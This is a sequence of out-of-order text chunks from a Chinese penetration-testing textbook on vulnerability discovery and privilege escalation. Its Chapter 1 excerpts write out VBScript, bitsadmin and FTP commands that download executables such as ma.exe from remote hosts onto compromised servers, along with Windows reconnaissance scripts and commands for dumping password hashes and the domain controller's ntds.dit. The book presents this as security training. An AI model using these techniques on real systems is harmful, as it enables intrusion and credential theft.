    {"text": "再就是从事网络安全的人 员需要实时跟踪发生的安全事件，比如，每当曝出新漏洞时，需要快速 对其展开研究，了解漏洞产生原因、利用方法和修复方法，漏洞研究最 快捷的方法就是直接从网上搜索公开的资源进行学习研究，其次是通过 本地私有环境进行漏洞复现，下面主要介绍如何快速通过网络环境定位 需要进行研究的漏洞。 3.1.1 Google hacking 搜索资源最先想到的应该就是搜索引擎，对不了解的漏洞可以直接 通过搜索引擎对其进行搜索，也可以通过特定语法直接验证或发现漏 洞。 Google搜索是由Google公司推出的一个互联网搜索引擎，它是互联 网上最大、影响最广泛的搜索引擎，而Google hacking可以利用Google 搜索的语法进行精准的搜索，通过特定语法可以查找网站配置或代码中 的安全漏洞。"},
    {"text": "1 ．搜索管理后台 通常管理后台的URL会包含admin、login、admin_login、manage、 system或console等关键字，因此可以通过“inurl”搜索包含上述关键字的 URL来定位管理后台。 若想仅搜索某一站点是否有管理后台，可以通 过“site”指定搜索的域名，下面以搜索关键字“admin_login”为例介绍如 何搜索管理后台，利用Google搜索输入“inurl:admin_login”找到了很多管 理地址是“admin_login”的网站，搜索后台如图3-1所示。"},
    {"text": "图3-1 搜索后台 2 ．搜索错误的配置 由于错误配置导致被黑客攻击的事件常常发生，那么如何快速定位 站点的错误配置或者如何搜索存在错误配置的站点，下面以目录浏览漏 洞为例介绍如何使用Google搜索错误的配置。 目录浏览是由于网站配置不当导致的，通常网站标题中会包 含“index of”关键字，因此可以使用“intitle”搜索网站标题包含“index of”关键字的网站来搜索存在目录浏览漏洞的站点，若想仅搜索某一站 点是否存在目录浏览漏洞，可以通过“site”指定搜索的域名，搜索错误 的配置如图3-2所示。 图3-2 搜索错误的配置 3 ．搜索敏感文件 利用Google搜索的语法可以快速搜索敏感文件，例如，网站的备份 文件通常以“.bak”为后缀；"},
    {"text": "3.1.2 Exploit Database Exploit Database直译过来是利用数据库，它收集了大量的漏洞及漏 洞利用程序。 Exploit Database的官网为“https://www.exploit-db.com”，主 要有Exploits、GHDB、Shellcodes和Papers四大模块，通过这四大模块可 以搜索相关信息来分析学习漏洞或下载漏洞利用程序，下面主要通过 Exploits和GHDB模块来介绍Exploit Database的使用。 1 ． Exploits Exploits模块提供了大量的漏洞利用程序，它的类型有dos、local、 remote和webapps四大类：dos类主要是用于拒绝服务攻击的漏洞利用程 序；"},
    {"text": "local类是本地漏洞利用程序，如本地提权的脚本； remote类是远程 漏洞利用程序，如远程代码攻击的脚本； webapps类是Web应用的漏洞 利用程序，如CMS相关漏洞的利用脚本。"},
    {"text": "假如通过信息收集获取到目标站点使用的是WordPress，并且安装 了插件WPForms，可以直接通过搜索“Wordpress Plugin WPForms”来寻 找是否提供了相关漏洞的利用方法，因为凡是有漏洞利用程序的目标站 点肯定存在漏洞，然后参考其提供的利用方法，则可以快速判断目标是 否存在此漏洞。"},
    {"text": "图3-3 Exploits模块 2 ． GHDB GHDB模块提供了大量的Google hacking语法，例如想寻找使用了 JBoss的站点，但是不知道如何使用Google hacking搜索，可以直接在 GHDB模块搜索JBoss相关的Google hacking语法，GHDB模块的使用如 图3-4所示。 图3-4 GHDB模块的使用 然后直接将搜索到的Google hacking语法“intitle:\"Welcome to JBoss\"”复制到Google中并进行搜索，便可找到很多用了JBoss的站点， 搜索JBoss站点如图3-5所示。"},
    {"text": "图3-5 搜索JBoss站点 3.1.3 Shodan Shodan是用于搜索Internet连接设备的搜索引擎，使用Shodan搜索语 法可以搜索连接到互联网的服务器、网络设备和摄像头等，而前面提到 的Google hacking主要用于快速查找网站，对于连接设备的搜索远不如 Shodan强大。"},
    {"text": "图3-6 搜索互联网服务器 3.1.4 CVE/CNVD/CNNVD CNVD是国家信息安全漏洞共享平台，官网地址 为“https://www.cnvd.org.cn”。 CNNVD是中国国家信息安全漏洞库，官 网地址为“http://www.cnnvd.org.cn”。 CVE是国际的安全漏洞库，官网地 址为“http://cve.mitre.org”。 为了方便漏洞的查询，官方通常会对漏洞进行编号，一般以CVE、 CNVD或CNNVD等开头，后面为年份和漏洞编号，CNNVD略有不同， 后面为年月和漏洞编号，例如：CVE-2020-2020、CNVD-2020-18705和 CNNVD-202001-1001。 对于CNVD和CNNVD来说，可以直接从首页单击漏洞查询搜索漏 洞，以CNNVD为例，通过首页可以了解到近期影响较大的安全漏洞， CNNVD的首页如图3-7所示。 图3-7 CNNVD的首页 单击“漏洞信息”可以查看收录的所有漏洞，从“漏洞信息快速查 询”可以根据漏洞名称、编号和时间进行搜索，以CVE-2020-8835为例， 直接搜索此漏洞编号便可定位漏洞，漏洞查询如图3-8所示。 然后单击漏洞名称可以查看漏洞信息详情、漏洞简介、漏洞公告、 参考网址、受影响实体和补丁等，通过这些信息可以辅助分析漏洞，漏 洞信息详情如图3-9所示。 对于CVE来说，每当曝光新漏洞时可以通过从“Search CVE List”中 查找对应漏洞编号或漏洞名称来搜索此漏洞，以CVE-2020-8835为例， 直接搜索此漏洞编号，漏洞搜索如图3-10所示。 图3-8 漏洞查询 图3-9 漏洞信息详情 图3-10 漏洞搜索 由于搜索的是漏洞编号，所以只返回了一条结果，从返回结果可以 看到名称和漏洞描述，根据漏洞描述可知此漏洞是Linux内核权限提升 漏洞，漏洞描述如图3-11所示。 图3-11 漏洞描述 若想进一步了解漏洞信息详情可以单击名称“CVE-2020-8835”，然 后可以看到提供了很多参考链接，通过提供的参考链接能够进一步了解 漏洞，也可以通过NVD美国国家通用漏洞库了解更多相关信息，漏洞信 息详情如图3-12所示。"},
    {"text": "图3-12 漏洞信息详情 3.2 Web 漏洞扫描 3.2.1 AWVS 扫描器 AWVS，英文全称是Acunetix Web Vulnerability Scanner，是一个自 动化的Web漏洞扫描工具，它通过跟踪网站上所有的链接来分析整个网 站，然后对网站的每个部分进行针对性检测。 AWVS内置了脆弱性评估和脆弱性管理功能，可以快速有效地保护 Web站点和Web应用的安全，同时可以轻松管理检测到的漏洞。 3.2.2 AWVS 组成 AWVS的主要组成可以分为Web Interface、Web Scanner、 AcuSensor、AcuMonitor和Reporter。 1 ． Web Interface AWVS提供了一个易于使用的网页接口，允许多个用户通过网页界 面管理使用AWVS。"},
    {"text": "登录后，用户可以通过仪表板了解目标资产的安全 性，并且可以从此处访问内置的脆弱性管理功能，包括： （1）配置目标进行扫描，扫描结束后汇总并展示每个目标的脆弱 性情况。"},
    {"text": "启用AcuSensor后，传感器会检索所有文件，包括无法通 过网站链接访问的文件，然后扫描程序会模拟黑客对每个页面进行测 试，分析每个页面可输入数据的位置。 4 ． AcuMonitor 常规的Web应用程序测试非常简单，扫描程序将Payload发送给目 标，目标做出响应，扫描程序接收到目标的响应后分析该响应，然后根 据该响应对分析引发警告。"},
    {"text": "尝试自动登录网站，如图3-15所示。 图3-15 尝试自动登录网站 对于带有验证码等的复杂登录机制，则需要使用预先录制的登入序 列，如图3-16所示。"},
    {"text": "图3-18 选择扫描选项 扫描类型：可以使用所有可用的检查进行完全扫描，也可以仅检查 高危的漏洞，也可以检查特定漏洞，或者仅爬行不扫描。"},
    {"text": "图3-19 扫描开始 3.2.5 AWVS 分析扫描结果 1 ．扫描状态和信息 概述扫描检测到的目标，以及有关扫描的信息，例如扫描持续时 间、平均响应时间和扫描的文件数。"},
    {"text": "2 ．漏洞 按严重性排序检测到的漏洞列表，如图3-20所示。 图3-20 漏洞列表 通过过滤器可以根据目标、漏洞严重性等对漏洞进行筛选，如图3- 21所示。 图3-21 对漏洞进行筛选 （1）高风险警报：扫描目标很可能处于被黑客攻击和数据盗窃风 险中。"},
    {"text": "如 图3-22所示，漏洞详情为弱口令的HTTP登录请求。 图3-22 漏洞详情为弱口令的HTTP登录请求 扫描器可能存在误报的情况，需要根据攻击细节进行手动验证，使 用用户名“admin”，密码“123456”登录后台，发现登录成功，验证漏洞 如图3-23所示。"},
    {"text": "图3-23 验证漏洞 3 ．站点结构 通过站点结构可以确定是否覆盖所有文件，以及确定哪个文件或文 件夹存在漏洞，单击文件夹可以展开结构树，站点结构如图3-24所示。"},
    {"text": "5 ． AWVS 生成报告 在报告模块可以生成3种类型的报告：所有漏洞报告、扫描报告、 目标报告，生成报告如图3-25所示。 图3-25 生成报告 （1）所有漏洞报告：报告在扫描器中配置的所有目标上检测到的 所有漏洞。 （2）扫描报告：报告一次或多次扫描检测到的漏洞。"},
    {"text": "3.3 系统漏洞扫描 3.3.1 Nessus 扫描器 Nessus是一款系统漏洞扫描与分析软件，能快速识别资产并发现漏 洞，包括软件缺陷、补丁缺失、恶意软件及错误配置，涵盖多种操作系 统、设备和应用程序。"},
    {"text": "表3-1 扫描器模板 续表 如果创建了自定义策略，在创建扫描时可以从扫描模板自定义选项 中选择，如图3-26所示。 图3-26 扫描模板自定义选项 3.3.3 Nessus 扫描 1 ．创建基本网络扫描 新建扫描，如图3-27所示。 图3-27 新建扫描 选择基本网络扫描模板，如图3-28所示。 图3-28 选择基本网络扫描模板 在基本配置选项配置一般信息，如图3-29所示，包括扫描名称、扫 描描述、存放的文件夹和扫描目标，可以添加多个扫描目标，也可以上 传扫描目标列表。 图3-29 在基本配置选项配置一般信息 在基本配置选项配置扫描计划，如图3-30所示，默认是关闭的。"},
    {"text": "图3-34 高级选项 配置凭据可以让Nessus在扫描过程中使用身份验证，在执行各种检 查时获得更准确的扫描结果，可以添加多个凭证，如图3-35所示。"},
    {"text": "图3-35 配置凭据 本次扫描使用的插件，如图3-36所示。 图3-36 插件 全部配置完成后选择保存，根据计划自动开始扫描，也可以单击 Launch箭头启动扫描，如图3-37所示。 图3-37 启动扫描 2 ．创建高级扫描 新建扫描，选择高级扫描模板，如图3-38所示。 图3-38 选择高级扫描模板 完成各项扫描设置后，配置凭据，选择适用于执行扫描的合规性检 查，可以添加和配置多个合规性检查，如图3-39所示。 图3-39 合规性检查 根据需要选择启用的插件，如图3-40所示，不需要的可以禁用。 图3-40 选择启用的插件 全部配置完成后选择保存并启动。"},
    {"text": "图3-41 扫描结果 单击主机选项，可以显示所有扫描目标，如图3-42所示。 图3-42 所有扫描目标 若想查看某一台主机的漏洞详细信息，可以单击主机名查看，如图 3-43所示。 通过漏洞选项，可以查看扫描出的漏洞列表，如图3-44所示。 图3-43 某一台主机的漏洞详细信息 图3-44 漏洞列表 单击漏洞名称可以查看漏洞详细信息，如漏洞描述、修复建议、插 件详情、风险信息和参考信息等，如图3-45所示。 图3-45 漏洞详细信息 扫描的结果可能存在误报，可以使用MSF进行手工验证，检查是否 误报，漏洞验证如图3-46所示，验证漏洞存在。 图3-46 漏洞验证 3.4 弱口令扫描 弱口令是一个很容易被忽视的高风险漏洞，因为弱口令导致的安全 事件层出不穷。"},
    {"text": "3.4.1 通用 / 默认口令 弱口令问题是一个一直存在的难题，它是最容易被忽略又是最容易 被发现利用的问题，表3-2为近年来SplashData统计的最常用的25种密 码。"},
    {"text": "Microsoft Word - a扉页.doc 安全技术大系 网络攻防实战研究：漏洞利用与提权 祝烈煌 张子剑 主编 陈小兵 张胜生 王坤 徐炎 编著 Publishing House of Electronics Industry 北京·BEIJING 内 容 简 介 本书主要讨论目前常见的漏洞利用与提权技术，分别从攻击和防御的角度介绍渗透过程中相对最难， 同时又是渗透最高境界的部分——如何获取服务器乃至整个网络的权限。"},
    {"text": "本书共分 9 章，由浅入深，按照 读者容易理解的方式对内容进行分类，每一节介绍一个典型应用，同时结合案例进行讲解，并给出一些经 典的总结。"},
    {"text": "本书的目的是介绍漏洞利用与提权技术，结合一些案例来探讨网络安全，从而远离黑客的威胁。 通过本书的学习，读者可以快速了解和掌握主流的漏洞利用与提权技术，加固自己的服务器。 本书既可以作为政府、企业网络安全从业者的参考资料，也可以作为大专院校信息安全学科的教材。"},
    {"text": "陈小兵等编著. —北京：电子工业出版社， 2018.4 （安全技术大系） ISBN 978-7-121-33240-1 Ⅰ. ①网… Ⅱ. ①祝… ②张… ③陈… Ⅲ. ①计算机网络－网络安全－研究 Ⅳ. ①TP393.08 中国版本图书馆 CIP 数据核字（2017）第 306684 号 策划编辑：潘 昕 责任编辑：潘 昕 印 刷：三河市良远印务有限公司 装 订：三河市良远印务有限公司 出版发行：电子工业出版社 北京市海淀区万寿路 173 信箱 邮编：100036 开 本：787×1092 1/16 印张：41 字数：1150 千字 版 次：2018 年 4 月第 1 版 印 次：2018 年 4 月第 1 次印刷 定 价：128.00 元 凡所购买电子工业出版社图书有缺损问题，请向购买书店调换。"},
    {"text": "推 荐 序 在安全行业从业这么多年，回过头来发现，和小兵居然相识 10 年了。 作为 10 年前就对网络安 全有浓厚兴趣，在安全圈子里扎根、生长的技术人，小兵的自学能力和分享精神都是我所佩服的。"},
    {"text": "我一直认为，安全人才没有办法定向培养，只能依赖天赋，而我们要做的就是发掘和激发少部 分人的天赋，最好的办法则是通过活生生的案例引发兴趣，让兴趣成为最好的导师。"},
    {"text": "这本书也和小 兵的为人一样实在，有大量干货、新货，能帮助刚对安全产生兴趣却不知道从哪里入手的读者快速 入门、上手，通过本书捅破那层“窗户纸”，找到自己感兴趣的新领域。"},
    {"text": "360 网络攻防实验室负责人 陆羽（林伟） 在经典的渗透测试过程中，有很多行之有效的漏洞利用及相关场景下的提权思路，这本书对这 些内容做了全面的介绍。"},
    {"text": "《Web 前端黑客技术揭秘》作者 余弦 Shadow Brokers 发布“NSA 武器库”在网络世界所造成的影响，让我们感受到了“渗透之下， 漏洞利用工具为王”的可怕。"},
    {"text": "这种极具创造性的“入侵”行为体现了渗透测试人员的能力与水平，经验老道的安全人员总 有自己独特的“奇淫技巧”，这些技巧就像弹药一样，根据渗透目标的不同有的放矢，以最终获得目 标高权限为结果的过程是有趣的且具有艺术性的。"},
    {"text": "每个 安全人员都对拥有大师级的网络渗透技术梦寐以求，而获得此水平的前提就在于基础一定要扎实， 如果现在有一万种渗透技巧存在，那就将它们融会贯通，唯有消化和吸收了所有已知的渗透技巧， 才能进一步缔造崭新的攻防手法。 本书是一本渗透技巧极其丰富的工具书，涵盖了渗透测试中绝大部分环境下的攻防利用之道， 是初学者打基础、高手查缺补漏的绝佳教材。"},
    {"text": "在本书中，我们从更加专业、更加体系化的角度来讨论和研究网络安全， 对关键技术进行详细的研究、再现和总结，同时介绍了一些典型案例，让读者身临其境，充分了解 和掌握漏洞利用与提权的精髓！"},
    {"text": "2017 年 6 月 1 日， 《中华人民共和国网络安全法》正式实施，国家对网络安全的重视程度前所未 有，很多高校都新增或者加强了网络安全专业建设，将信息安全提升到一级学科，提升到国家战略 层面！"},
    {"text": "本书内容 本书主要讨论目前常见的漏洞利用和提权技术，从攻击与防御的角度介绍渗透过程中相对最难， 同时又是渗透最高境界的部分——如何获取服务器乃至整个网络的权限。"},
    {"text": "本书共分 9 章，由浅入深， 按照读者容易理解的方式对内容进行分类，每一节介绍一个典型应用，同时结合案例进行讲解，并 给出一些经典的总结。"},
    {"text": "第 1 章 提权基础 提权是整个黑客攻防过程中最难的环节，提权过程则汇聚了思路、技巧、工具和技术。 本章着 重介绍提权的基础知识，包括如何进行提权，如何破解 Windows 及 Linux 密码，一些后门工具的使 用，如何实现对提权工具的免杀，以及端口转发和代理工具的使用。"},
    {"text": "前 言 第 3 章 Linux 漏洞利用与提权 在网络渗透过程中，经常碰到通过 CMS 等漏洞获取了服务器的 WebShell，但因为 Linux 服务器 设置了严格的权限而较难获取 root 账号权限的情况。 在本章中讨论了 Linux 密码的获取与破解，以 及利用一些 Linux 漏洞来提权的方法和技巧。 本章原来的设想是对 Linux 中存在的各种本地提权漏 洞进行介绍和利用，但在实际测试过程中，未能达到大众化利用的程度，因此将在后续的图书中陆 续介绍这些方法。 本章将着重介绍如何对 Linux 密码进行破解，以及如何通过各种漏洞来渗透并提 权 Linux 服务器。"},
    {"text": "第 4 章 MSSQL 漏洞利用与提权 MSSQL 数据库是微软开发的目前世界上最为流行的数据库软件之一，它只能运行在 Windows 平台上，最常见的架构为 ASP+MSSQL 和 ASP.NET+MSSQL。"},
    {"text": "在 Windows Server 2008 以下版本中， 只要获取了 sa 账号及其密码，就可以快速、方便地通过一些技巧获取系统权限。 在 Windows Server 2008 以上版本中，虽然不能直接获取系统权限，但可以通过恢复存储过程等方式执行命令，通过系 统中存在的提权漏洞进行提权。 本章着重介绍 SQL Server 提权的基础知识，以及 Windows 下 SQL Server 的提权方法，同时通过一些案例介绍了如何利用 sa 账号来提权。"},
    {"text": "第 5 章 MySQL 漏洞利用与提权 MySQL 数据库是目前世界上最为流行的数据库软件之一，很多流行的架构都会用到 MySQL，例 如 LAMPP（Linux+Apache+MySQL+PHP+Perl）架构。"},
    {"text": "作为世 界上第一个支持 SQL 语言的关系型数据库，Oracle 提供了丰富的包和存储过程，支持 Java 和创建 library 等特性，拥有丰富的系统表，几乎所有的信息都存储在系统表里，包括当前数据库运行的状 态、用户的信息、数据库的信息、用户所能访问的数据库和表的信息等，在提供强大功能的同时， 也带来了众多隐患。"},
    {"text": "从第一代 Oracle 产品发布起，互联网上就不断有 Oracle 数据库的安全漏洞被公 开。 虽然 Oracle 一直在努力弥补这些缺陷，例如定期发布更新补丁去修复已发现的安全漏洞，但是 随着 Oracle 数据库版本的更新，新的漏洞层出不穷。"},
    {"text": "通常，在渗透过程中很有可能只获得了一个系统的 Guest 或 User 权限的 Meterpreter Shell，如果在网络环境中仅获得受限用户权限，那么在实施横向渗透或者提权攻击时将很困难。"},
    {"text": "在 主机上，如果没有管理员权限，就无法进行获取 Hash 值、安装软件、修改防火墙规则和修改注册表 等操作，所以，必须将访问权限从 Guset 提升到 User，再到 Administrator，最后到 System 级别。"},
    {"text": "可 V 网络攻防实战研究：漏洞利用与提权 以说，渗透的目的是获取服务器的最高权限，即 Windows 操作系统中管理员账号的权限或 Linux 操 作系统中 root 账户的权限。"},
    {"text": "第 8 章 其他应用程序漏洞利用与提权 在本章主要介绍一些应用程序的提权，包括 Serv-U、Winmail、Radmin、pcAnywhere、JBoss、 Struts、JspRun、Gene6 FTP Server、Tomcat、Citrix、VNC、ElasticSearch、Zabbix 等。"},
    {"text": "通过本书 的学习，读者可以快速了解和掌握主流的漏洞利用与提权渗透技术，加固自己的服务器。 本书的目 的是介绍漏洞利用与提权技术，结合一些案例来探讨网络安全，帮助读者更好地加固服务器，远离 黑客的威胁。"},
    {"text": "参加本书编写工作的有陈小兵、张胜生、王坤、徐焱、刘晨、黄 小波、韦亚奇、邓火英、刘漩、庞香平、武师、陈尚茂、邱永永、潘喆、孙立伟、陈海华、邓北京、 兰云碧、易金云、吴海春。"},
    {"text": "衷心地感谢团队成员夏洛克、雨人、imiyoo、cnbird、Xnet、fido、 指尖的秘密、Leoda、pt007、Mickey、YIXIN、终隐、fivestars、暖色调の微笑、304、Myles 等，是 你们给了我力量，给了我信念。"},
    {"text": "最后，还要特别感谢安全圈的好友范渊、孙彬、罗诗尧、杨卿、杨 哲、杨文飞、林伟、余弦、王亚智、傅烨文、汤志强、菲哥哥、张健、-273.15℃、风宁、杨永清、 毕宁、韩晨、叶猛、刘璇，是你们的鼓励、支持和建议让本书更加完美。"},
    {"text": "本章着重介绍各种提权的基础知识，主要包括如何进行提权，如何破解 Windows 及 Linux 的密 码，一些后门工具的使用，对提权工具的免杀处理，以及端口转发和代理工具的使用。 本章主要内容 Ê 提权概述 Ê Windows 账号和密码的获取与破解 Ê 使用 John the Ripper 破解 Linux 密码 Ê Linux 提权辅助工具 Linux Exploit Suggester Ê PHP WeBaCoo 后门 Ê 对提权工具 PR 的免杀 Ê 通过 LCX 端口转发实现内网突破 Ê 使用 SocksCap 进行内网突破 Ê Windows 系统提权基础命令 1.1 提权概述 在渗透测试过程中以获取系统最高权限为目标，首先通过寻找漏洞，获取 WebShell 权限，然后 进行提权。"},
    {"text": "提权可以分为直接提权和间接提权，也可以分为本地提权和远程 网络攻防实战研究：漏洞利用与提权 提权。 本地提权漏洞是指一个本来权限非常低、操作受限制的用户，通过某种条件（例如，通过应用 程序漏洞或者系统漏洞）直接提升到系统最高权限。 远程提权是指黑客或者攻击者通过漏洞利用程 序，直接获取远程服务器的权限（在远程服务器上必须存在漏洞且未修补或者修补未成功）。"},
    {"text": "例如，Windows 下的提权漏洞 MS08-067、MS10-084、 MS11-014、MS11-056、MS11-062、MS12-020、MS16-032 等， “MS08”是指 2008 年发现的漏洞， “MS10” 是指 2010 年发现的漏洞。"},
    {"text": "1.1.2 提权条件 提权不是在任何情况下都可以进行的，它有一定的前置条件，例如拥有内网普通用户权限、拥 有 WebShell、拥有 FTP 权限、拥有某些远程管理软件的账号和密码等，同时在本地或者远程服务器 上存在相应的漏洞。"},
    {"text": "1.1.3 提权准备工作 （1）目标服务器信息的收集 利用已有权限或者条件，对需要提权的目标服务器进行信息收集，例如在有 WebShell 等的情况 下执行命令获取 Windows 操作系统的信息。"},
    {"text": "@echo off echo #########system info collection systeminfo ver hostname net user net localgroup net localgroup administrators net user guest net user administrator echo #######at- with atq##### echo schtask /query echo echo ####task-list############# tasklist /svc echo echo ####net-work infomation ipconfig/all route print 2 第 1 章 提权基础 arp -a netstat -anipconfig /displaydns echo echo #######service############ sc query type= service state= all echo #######file-############## cd \\ tree –F （2）准备提权服务器的漏洞补丁情况收集 执行如下脚本，获取可利用的漏洞补丁情况。"},
    {"text": "systeminfo>C:\\Windows\\Temp\\temp.txt&(for %i in (KB977165 KB970483 KB3057191 KB3079904 KB3077657 KB3045171 KB2840221 KB3000061 KB2850851 KB2707511 KB2711167 KB2124261 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440 KB3124280 KB3143141 KB3134228) do @type C:\\Windows\\Temp\\ temp.txt|@find /i \"%i\"|| @echo %i Not Installed!)&del /f /q /a C:\\Windows\\Temp\\ temp.txt 补丁号对应的可供利用的程序名称列举如下。"},
    {"text": "KB2360937：MS10-084。 KB2478960：MS11-014。 KB2507938：MS11-056。 KB2566454：MS11-062。 KB2646524：MS12-003。 KB2645640：MS12-009。 KB2641653：MS12-018。 KB944653：MS07-067。 KB952004：MS09-012 PR。 KB971657：MS09-041。 KB2620712：MS11-097。 KB2393802：MS11-011。 KB942831：MS08-005。 KB2503665：MS11-046。 KB2592799：MS11-080。 KB956572：MS09-012 烤肉。 KB2621440：MS12-020。 KB977165：MS10-015 Ms Viru。 KB3124280：MS16-032。 KB3143141：MS16-016。 KB3134228：MS16-014。 KB3079904：MS15-097。 KB3077657：MS15-077。 KB3045171：MS15-051。"},
    {"text": "KB2829361：MS13-046。 KB2850851：MS13-053 EPATHOBJ 0day（限 32 位）。 KB2707511：MS12-042 sysret –pid。 KB2124261 和 KB2271195：MS10-065 IIS7。 KB970483：MS09-020 IIS6。"},
    {"text": "1.1.4 实施提权 （1）上传或者下载提权 0day 和相关工具 将文件上传到服务器有多种方式，例如通过 WebShell、FTP、下载命令等将工具上传到系统的 可写目录下。"},
    {"text": "iLocal = LCase(WScript.Arguments(1)) iRemote = LCase(WScript.Arguments(0)) Set xPost = CreateObject(\"Microsoft.XMLHTTP\") xPost.Open \"GET\",iRemote,0 xPost.Send() Set sGet = CreateObject(\"ADODB.Stream\") sGet.Mode = 3 sGet.Type = 1 sGet.Open() sGet.Write(xPost.responseBody) sGet.SaveToFile iLocal,2 使用命令“cscript down.vbs http://www.antian365.com/ma.exe c:/ma.exe”，将 ma.exe 保存到 C 盘 根目录下，不写路径则会显示程序执行出错。"},
    {"text": "url = \"http:// www.antian365.com /ma.exe\" '网络上的文件地址 saveas = \"c:\\ma.exe\" '保存的本地文件 Set xmlhttp = CreateObject(\"Microsoft.XMLHTTP\") '创建 HTTP 请求对象 Set stream = CreateObject(\"ADODB.Stream\") '创建 ADO 数据流对象 Call xmlhttp.open(\"GET\",url,False) '打开连接 Call xmlhttp.send() '发送请求 stream.mode = 3 '设置数据流为读写模式 stream.type = 1 '设置数据流为二进制模式 Call stream.open() '打开数据流 4 第 1 章 提权基础 Call stream.write(xmlhttp.responsebody) '将服务器的返回报文主体内容写入数据流 Call stream.savetofile(saveas,2) '将数据流保存为文件 Set xmlhttp = Nothing Set stream = Nothing 将以上代码保存为 down.vbs 文件，执行“cscript down.vbs”命令即可下载程序 ma.exe 到 C 盘中。"},
    {"text": "Set xPost = createObject(\"Microsoft.XMLHTTP\") xPost.Open \"GET\",\" http:// www.antian365.com /ma.exe \",0 '下载文件的地址 xPost.Send() Set sGet = createObject(\"ADODB.Stream\") sGet.Mode = 3 sGet.Type = 1 sGet.Open() sGet.Write(xPost.responseBody) sGet.SaveToFile \"c:\\2.exe\",2 '保存文件的路径和文件名 使用 bitsadmin 命令下载文件。"},
    {"text": "bitsadmin /transfer myjob1 /download /priority normal http:// antian365.com/ psexec.exe c:\\psexec.exe 第二种方式，代码如下。 bitsadmin /rawreturn /transfer getfile http://sysinternals.com/files/ PSTools.zip c:\\p.zip 第三种方式，代码如下。 bitsadmin /rawreturn /transfer getpayload http:// sysinternals.com/ files/PSTools.zip c:\\p.zip 第四种方式，代码如下。 bitsadmin /transfer myDownLoadJob /download /priority normal \"http://download. sysinternals.com/files/PSTools.zip\" \"c:\\p.zip\" 在 bat 模式下执行 vbs 下载，代码如下。"},
    {"text": "echo Set xPost = CreateObject(\"Microsoft.XMLHTTP\") >1.vbs echo xPost.Open \"GET\",\"http://58.54.99.22:8080/help.exe\",0 >>1.vbs echo xPost.Send() >>1.vbs echo Set sGet = CreateObject(\"ADODB.Stream\") >>1.vbs echo sGet.Mode = 3 >>1.vbs echo sGet.Type = 1 >>1.vbs echo sGet.Open() >>1.vbs echo sGet.Write(xPost.responseBody) >>1.vbs echo sGet.SaveToFile \"help.exe\",2 >>1.vbs 在 FTP 命令模式下下载。"},
    {"text": "down.bat 内容如下。 @echo off @set temp=C:\\script.txt 5 网络攻防实战研究：漏洞利用与提权 echo open 10.229.23.77>>%temp% echo ftpuser>>%temp% echo ftpuser>>%temp% echo cd General>>%temp% echo lcd %2>>%temp% echo get %1>>%temp% echo quit>>%temp% @ftp -s:%temp% del %temp% 执行命令“down.bat filename C:\\”，参数 1 是要下载的文件名，参数 2 是下载的目标路径。"},
    {"text": "常见的密码获取软件 有 GetHashes、gsecdump、PwDump、SAMInside 等，常用的密码破解软件有 LC5/LC6、SAMInside、 Ophcrack、Hashcates 等。 1.2.1 使用 GetHashes 获取 Windows 系统密码 Hash 值 目前 GetHashes 的最高版本是 1.6，它是 InsidePro 公司早期的一款 Hash 密码获取软件，该公司 网址为 http://www.InsidePro.com。"},
    {"text": "2．使用 GetHashes 获取系统 Hash 值实例 将 GetHashes 重命名为“getpw”，将其复制到欲获取密码 Hash 值的系统盘中，然后执行“getpw $local”命令，如图 1-1 所示，顺利获取其密码 Hash 值。"},
    {"text": "单 6 第 1 章 提权基础 击“文本”→“保存为”选项将结果保存为一个新文件，然后使用 UltraEdit 编辑器对其进行编辑， 仅保存密码 Hash 值部分，在后面使用 LC5 导入密码 Hash 值，即可破解系统的密码。"},
    {"text": "通过研究发现，由于 Gethashes 的威力巨大，主要用于在入侵过程中获取系统的密码 Hash 值，因此绝大多数杀毒软件已经将 GetHashes 加入病毒库了。"},
    {"text": "1.2.2 使用 gsecdump 获取 Windows 系统密码 gsecdump 是在 Windows 环境下获取密码的主要工具之一，其功能强于 GetHashes，目前已经被 定义为病毒，例如 HackTool.FFC（AVG）、HackTool.Win32.Agent.ym（Kaspersky）、 HTool-GSECDump （McAfee）、W32/Hacktool.AY（Norman）、Trojan.Moo（Symantec）、HKTL_AGENT（Trend Micro）， 其主要特点是在某些情况下能够获取域控密码，是不可多得的密码获取工具软件。 1．下载和使用 gsecdump gsecdump 目前的最新版本为 2.0b5，由于其使用的广泛性，因此被 Google 浏览器及多款杀毒软 件定义为病毒，其官方网站已经不再提供下载地址。"},
    {"text": "图 1-2 gecdump 运行参数 3．使用 gsecdump 获取系统密码 在通常情况下，使用“gsecdump -a”命令获取所有用户的密码 Hash 值，如图 1-3 所示。 也可以 使用“gsecdump -u”命令获取当前登录用户的密码 Hash 值。"},
    {"text": "图 1-3 获取系统中所有用户的 Hash 值 8 第 1 章 提权基础 1.2.3 使用 PwDump 获取域控密码 PwDump 是 Quarkslab 出品的一款用户密码提取开源工具，其完整源代码可以从 https://github. com/quarkslab/quarkspwdump 获取。"},
    {"text": "目前，PwDump 支持 Windows XP/Server 2003/Vista/7/Server 2008 版本，且相当稳定，可以抓取 Windows 平台上多种类型的用户凭据，包括本地账户、域账户、缓存 的域账户和 Bitlocker，具体信息如下。"},
    {"text": "图 1-4 使用 PwDump 获取本地账号的 Hash 值 2．使用 PwDump 导出账号信息实例 使用命令“QuarksPwDumpv0.2b.exe -dhl -o 1.txt”将导出本地 Hash 值到当前目录下的 1.txt 文件 中。"},
    {"text": "9 网络攻防实战研究：漏洞利用与提权 图 1-5 导出本地账号信息到文件 3．配合 Ntdsutil 工具导出域控密码 Ntdsutil.exe 是一个为 Active Directory 提供管理设施的命令行工具。 可使用 Ntdsutil.exe 进行 Active Directory 的数据库维护，管理和控制单台主机操作，创建应用程序目录分区，以及删除由未 使用 Active Directory 安装向导（DCPromo.exe）成功降级的域控制器留下的元数据。 Ntdsutil.exe 还 可以用来获取域控数据库 ntds.dit 文件，具体命令如下。"},
